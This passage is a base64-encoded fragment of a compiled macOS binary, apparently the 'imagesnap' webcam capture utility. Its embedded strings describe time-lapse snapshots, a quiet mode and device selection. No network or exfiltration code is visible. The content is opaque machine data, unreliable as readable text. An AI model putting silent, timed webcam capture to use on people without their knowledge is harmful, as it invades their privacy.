Li4uAAlDb3VsZCBub3QgY3JlYXRlIGNhcHR1cmUgc2Vzc2lvbi4KAAlDcmVhdGluZyBRVENhcHR1cmVEZXZpY2VJbnB1dCB3aXRoICVzLi4uAAlDb3VsZCBub3QgY29udmVydCBkZXZpY2UgdG8gaW5wdXQgZGV2aWNlLgoACUNyZWF0aW5nIFFUQ2FwdHVyZURlY29tcHJlc3NlZFZpZGVvT3V0cHV0Li4uAAlDb3VsZCBub3QgY3JlYXRlIGRlY29tcHJlc3NlZCBvdXRwdXQuCgAJRW50ZXJpbmcgc3luY2hyb25pemVkIGJsb2NrIHRvIGNsZWFyIG1lbW9yeS4uLgBTZXNzaW9uIHN0YXJ0ZWQuCgAtAFN0YXJ0aW5nIGRldmljZS4uLgBEZXZpY2Ugc3RhcnRlZC4KAFNraXBwaW5nIHdhcm11cCBwZXJpb2QuCgBEZWxheWluZyAlLjJsZiBzZWNvbmRzIGZvciB3YXJtdXAuLi4AV2FybXVwIGNvbXBsZXRlLgoAVGltZSBsYXBzZTogc25hcHBpbmcgZXZlcnkgJS4ybGYgc2Vjb25kcyB0byBjdXJyZW50IGRpcmVjdG9yeS4KAHl5eXktTU0tZGRfSEgtbW0tc3MuU1NTACAtIFNuYXBzaG90ICU1bHUAICglcykKAHNuYXBzaG90LSUwNWQtJXMuanBnACVzCgBJbWFnZSBjYXB0dXJlIGZhaWxlZC4KAE5vIHZpZGVvIGRldmljZXMgZm91bmQuCgBVU0FHRTogJXMgW29wdGlvbnNdIFtmaWxlbmFtZV0KADAuMi41AFZlcnNpb246ICVzCgBDYXB0dXJlcyBhbiBpbWFnZSBmcm9tIGEgdmlkZW8gZGV2aWNlIGFuZCBzYXZlcyBpdCBpbiBhIGZpbGUuAElmIG5vIGRldmljZSBpcyBzcGVjaWZpZWQsIHRoZSBzeXN0ZW0gZGVmYXVsdCB3aWxsIGJlIHVzZWQuAElmIG5vIGZpbGVuYW1lIGlzIHNwZWNmaWVkLCBzbmFwc2hvdC5qcGcgd2lsbCBiZSB1c2VkLgBTdXBwb3J0ZWQgaW1hZ2UgdHlwZXM6IEpQRUcsIFRJRkYsIFBORywgR0lGLCBCTVAAICAtaCAgICAgICAgICBUaGlzIGhlbHAgbWVzc2FnZQAgIC12ICAgICAgICAgIFZlcmJvc2UgbW9kZQAgIC1sICAgICAgICAgIExpc3QgYXZhaWxhYmxlIHZpZGVvIGRldmljZXMAICAtdCB4Lnh4ICAgICBUYWtlIGEgcGljdHVyZSBldmVyeSB4Lnh4IHNlY29uZHMAICAtcSAgICAgICAgICBRdWlldCBtb2RlLiBEbyBub3Qgb3V0cHV0IGFueSB0ZXh0ACAgLXcgeC54eCAgICAgV2FybXVwLiBEZWxheSBzbmFwc2hvdCB4Lnh4IHNlY29uZHMgYWZ0ZXIgdHVybmluZyBvbiBjYW1lcmEAICAtZCBkZXZpY2UgICBVc2UgbmFtZWQgdmlkZW8gZGV2aWNlAERldmljZSAiJXMiIG5vdCBmb3VuZC4KAE5vdCBlbm91Z2ggYXJndW1lbnRzIGdpdmVuIHdpdGggJ2QnIGZsYWcuCgBOb3QgZW5vdWdoIGFyZ3VtZW50cyBnaXZlbiB3aXRoICd3JyBmbGFnLgoATm90IGVub3VnaCBhcmd1bWVudHMgZ2l2ZW4gd2l0aCAndCcgZmxhZy4KAE5vIGZpbGVuYW1lIHNwZWNpZmllZC4gVXNpbmcgJXMKAE5vIGRldmljZSBzcGVjaWZpZWQuIFVzaW5nICVzCgBDYXB0dXJpbmcgaW1hZ2UgZnJvbSBkZXZpY2UgIiVzIi4uLgBFcnJvci4KAFZpZGVvIERldmljZXM6AAAAAAAAAAAAAAAAAE5vIHZpZGVvIGRldmljZXMgZm91bmQuAAEAAAAcAAAABQAAADAAAAABAAAANAAAAAIAAAAAAAAR0VgFEWEBAxEBAAERYQEDUUBAAACYDgAAXAAAAEwAAADfKwAAAAAAAFwAAAAkGgAAFC0AAFwiAABALQAAAwAAAAwAEwBYAAMAAAAABzwAAAC0AAABfgUAAK4FAAaXBwACaQgAAfMJAAA8CgADzgoAAowLAARpEQAFxBMABGQVAAP9FQAAGBYAAacXAABnGAAByBwAAiEAAhERCwQRAAAAABwAAAAAAAAAAXpQTFIAAXgQB5sFBQAAEBAMBwiQAQAANAAAACQAAACE0////////w0AAAAAAAAACAAAAAAAAAAABAEAAAAOEIYCBAMAAAANBgAAAAAAAAA0AAAAXAAAAFnT////////awAAAAAAAAAIAAAAAAAAAAAEAQAAAA4QhgIEAwAAAA0GAAAAAAAAADwAAACUAAAAjNP////////KBAAAAAAAAAgAAAAAAAAAAAQBAAAADhCGAgQDAAAADQYEDQAAAIMHjAaNBY4EjwM0AAAA1AAAABbY////////GAAAAAAAAAAIAAAAAAAAAAAEAQAAAA4QhgIEAwAAAA0GAAAAAAAAADQAAAAMAQAA9tf///////8YAAAAAAAAAAgAAAAAAAAAAAQBAAAADhCGAgQDAAAADQYAAAAAAAAAPAAAAEQBAADW1////////+kBAAAAAAAACAAAAAAAAAAABAEAAAAOEIYCBAMAAAANBgQHAAAAgwaMBY4EjwMAADwAAACEAQAAf9n////////SAAAAAAAAAAgAAAAAAAAAAAQBAAAADhCGAgQDAAAADQYECQAAAIMFjgSPAwAAAAA8AAAAxAEAABHa////////igEAAAAAAAAIAAAAAAAAAAAEAQAAAA4QhgIEAwAAAA0GBBAAAACDB4wGjQWOBI8DNAAAAAQCAABb2////////0kAAAAAAAAACAAAAAAAAAAABAEAAAAOEIYCBAMAAAANBgAAAAAAAAA0AAAAPAIAAGzb////////kgAAAAAAAAAIAAAAAAAAAAAEAQAAAA4QhgIEAwAAAA0GBAUAAACDAzwAAAB0AgAAxtv///////++AAAAAAAAAAgAAAAAAAAAAAQBAAAADhCGAgQDAAAADQYECQAAAIMFjgSPAwAAAAA8AAAAtAIAAETc////////3QUAAAAAAAAII+////////8EAQAAAA4QhgIEAwAAAA0GBAkAAACDBY4EjwMAAAAAPAAAAPQCAADh4f///////1sCAAAAAAAACAAAAAAAAAAABAEAAAAOEIYCBAMAAAANBgQDAAAAgwSOAwAAAAAAADwAAAA0AwAA/OP///////+gAQAAAAAAAAjP7v///////wQBAAAADhCGAgQDAAAADQYECQAAAIMFjgSPAwAAAAA0AAAAdAMAAFzl////////mQAAAAAAAAAIAAAAAAAAAAAEAQAAAA4QhgIEAwAAAA0GBAUAAACDAzQAAACsAwAAveX///////8bAAAAAAAAAAgAAAAAAAAAAAQBAAAADhCGAgQDAAAADQYAAAAAAAAAPAAAAOQDAACg5f///////48BAAAAAAAACAAAAAAAAAAABAEA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQRgAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEAAAEAAABoRgAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBCAAABAAAAIEgAAAEAAAAAAAAAAAAAAMgHAAAAAAAAgTEAAAEAAAAMAAAAAAAAAAAAAAAAAAAAyAcAAAAAAAACNAAAAQAAAAMAAAAAAAAAAAAAAAAAAADIBwAAAAAAAAY0AAABAAAABAAAAAAAAAAAAAAAAAAAAMgHAAAAAAAACzQAAAEAAAADAAAAAAAAAAAAAAAAAAAAyAcAAAAAAAAPNAAAAQAAAAQAAAAAAAAAAAAAAAAAAADIBwAAAAAAABQ0AAABAAAAAwAAAAAAAAAAAAAAAAAAAMgHAAAAAAAAGDQAAAEAAAADAAAAAAAAAAAAAAAAAAAAyAcAAAAAAAAcNAAAAQAAAAMAAAAAAAAAAAAAAAAAAADIBwAAAAAAALY1AAABAAAAAQAAAAAAAAAAAAAAAAAAAMgHAAAAAAAAbDYAAAEAAAAXAAAAAAAAAAAAAAAAAAAAyAcAAAAAAACcNgAAAQAAABQAAAAAAAAAAAAAAAAAAADIBwAAAAAAAAU3AAABAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAESIAVUhgEkRSRWAYQ1JBcBhgEkFTQVNBU0FTRWA2QoAHCHBQcDhwIFJDUkKACxhREUBfT0JKQ19DTEFTU18kX05TRGF0ZQBRctgLkEBfT0JKQ19DTEFTU18kX05TRGljdGlvbmFyeQCAKJBAX09CSkNfQ0xBU1NfJF9OU011dGFibGVBcnJheQCA6P//////////AZBAX09CSkNfQ0xBU1NfJF9OU09iamVjdACAmAGQQF9PQkpDX0NMQVNTXyRfTlNSdW5Mb29wAICw/v////////8BkEBfT0JKQ19NRVRBQ0xBU1NfJF9OU09iamVjdACAkAGQkEBfX19DRkNvbnN0YW50U3RyaW5nQ2xhc3NSZWZlcmVuY2UAgEjACxiQE0BfT0JKQ19DTEFTU18kX1FUQ2FwdHVyZURlY29tcHJlc3NlZFZpZGVvT3V0cHV0AICQ/P////////8BkEBfT0JKQ19DTEFTU18kX1FUQ2FwdHVyZURldmljZQCAwP//////////AZBAX09CSkNfQ0xBU1NfJF9RVENhcHR1cmVEZXZpY2VJbnB1dACAKJBAX09CSkNfQ0xBU1NfJF9RVENhcHR1cmVTZXNzaW9uAIDw//////////8BkEBfUVRNZWRpYVR5cGVNdXhlZACAgPT/////////AZBAX1FUTWVkaWFUeXBlVmlkZW8AkBVAX19fc3RkZXJycACACJBAX19fc3Rkb3V0cACQQGR5bGRfc3R1Yl9iaW5kZXIAkBZAX19fb2JqY19wZXJzb25hbGl0eV92MACA4P//////////AZBAX19vYmpjX2VtcHR5X2NhY2hlAICwDLSQQF9fb2JqY19lbXB0eV92dGFibGUAgNj//////////wG0kEBfb2JqY19tc2dTZW5kX2ZpeHVwAICg/f////////8BwAcIkBdAX09CSkNfQ0xBU1NfJF9OU0F1dG9yZWxlYXNlUG9vbACAiAGQQF9PQkpDX0NMQVNTXyRfTlNEYXRlRm9ybWF0dGVyAIDo//////////8BkEBfT0JKQ19DTEFTU18kX05TTnVtYmVyAIDI//////////8BkEBfT0JKQ19DTEFTU18kX05TU3RyaW5nAIAwkBlAX09CSkNfQ0xBU1NfJF9DSUltYWdlAICY//////////8BkBpAX05TSW1hZ2VDb21wcmVzc2lvbkZhY3RvcgCAuPT/////////AZBAX09CSkNfQ0xBU1NfJF9OU0FwcGxpY2F0aW9uAICoDJBAX09CSkNfQ0xBU1NfJF9OU0JpdG1hcEltYWdlUmVwAIC4//////////8BkEBfT0JKQ19DTEFTU18kX05TQ0lJbWFnZVJlcACAwP//////////AZBAX09CSkNfQ0xBU1NfJF9OU0ltYWdlAIAIkAAAAHJoGEBfQ1ZCdWZmZXJSZWxlYXNl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AAAAAAAAAACGCAAAAQAABwAAAAAAAAAApggAAAEAAAoAAAAAAAAAAMUIAAABAAAKAAAAAAAAAADgCAAAAQAAAQAAAAAAAAAA9QgAAAEAAAcAAAAAAAAAABMJAAABAAABAAAAAAAAAAAuCQAAAQAACgAAAAAAAAAARAkAAAEAAAEAAAAAAAAAAGEJAAABAAAHAAAAAAAAAAB4CQAAAQAAAQAAAAAAAAAAjwkAAAEAAAEAAAAAAAAAAKcJAAABAAAHAAAAAAAAAAC+CQAAAQAAAwAAAAAAAAAA7QkAAAEAAAMAAAAAAAAAAAsKAAABAAADAAAAAAAAAAAuCgAAAQAAAwAAAAAAAAAATQoAAAEAAAEAAAAAAAAAAGgKAAABAAADAAAAAAAAAAB6CgAAAQAAAwAAAAAAAAAAjAoAAAEAAAUAAAAAAAAAAKcKAAABAAABAAAAAAAAAADJCgAAAQAABgAAAAAAAAAA4AoAAAEAAAUAAAAAAAAAAOsKAAABAAAFAAAAAAAAAAD2CgAAAQAABgAAAAAAAAAACQsAAAEAAAYAAAAAAAAAAB0LAAABAAAFAAAAAAAAAAAjCwAAAQAABQAAAAAAAAAALAsAAAEAAAUAAAAAAAAAADMLAAABAAAFAAAAAAAAAAA6CwAAAQAABQAAAAAAAAAAQgsAAAEAAAYAAAAAAAAAAFwLAAABAAAGAAAAAAAAAABqCwAAAQAABgAAAAAAAAAAfgsAAAEAAAYAAAAAAAAAAJILAAABAAAGAAAAAAAAAACjCwAAAQAABgAAAAAAAAAAswsAAAEAAAUAAAAAAAAAALsLAAABAAAFAAAAAAAAAADBCwAAAQAABQAAAAAAAAAAxwsAAAEAAAUAAAAAAAAAAIUAAACGAAAAhwAAAJ4AAAClAAAApgAAAKcAAACoAAAAqQAAAKoAAACrAAAArAAAAK4AAACvAAAAsAAAALEAAACyAAAAiAAAAJwAAACdAAAAoAAAAKEAAACiAAAAAAAAQAAAAECFAAAAhgAAAIcAAACeAAAApQAAAKYAAACnAAAAqAAAAKkAAACqAAAAqwAAAKwAAACuAAAArwAAALAAAACxAAAAsgAAACAAL1VzZXJzL3JvYi9Eb2N1bWVudHMvaUhhcmRlcl9TVk5fQ2hlY2tvdXQvaW1hZ2VzbmFwLwBJbWFnZVNuYXAubQAvVXNlcnMvcm9iL0RvY3VtZW50cy9pSGFyZGVyX1NWTl9DaGVja291dC9pbWFnZXNuYXAvYnVpbGQvSW1hZ2VTbmFwLmJ1aWxkL1JlbGVhc2UvaW1hZ2VzbmFwLmJ1aWxkL09iamVjdHMtbm9ybWFsL3g4Nl82NC9JbWFnZVNuYXAubwBfZ2VuZXJhdGVGaWxlbmFtZQAvVXNlcnMvcm9iL0RvY3VtZW50cy9pSGFyZGVyX1NWTl9DaGVja291dC9pbWFnZXNuYXAvSW1hZ2VTbmFw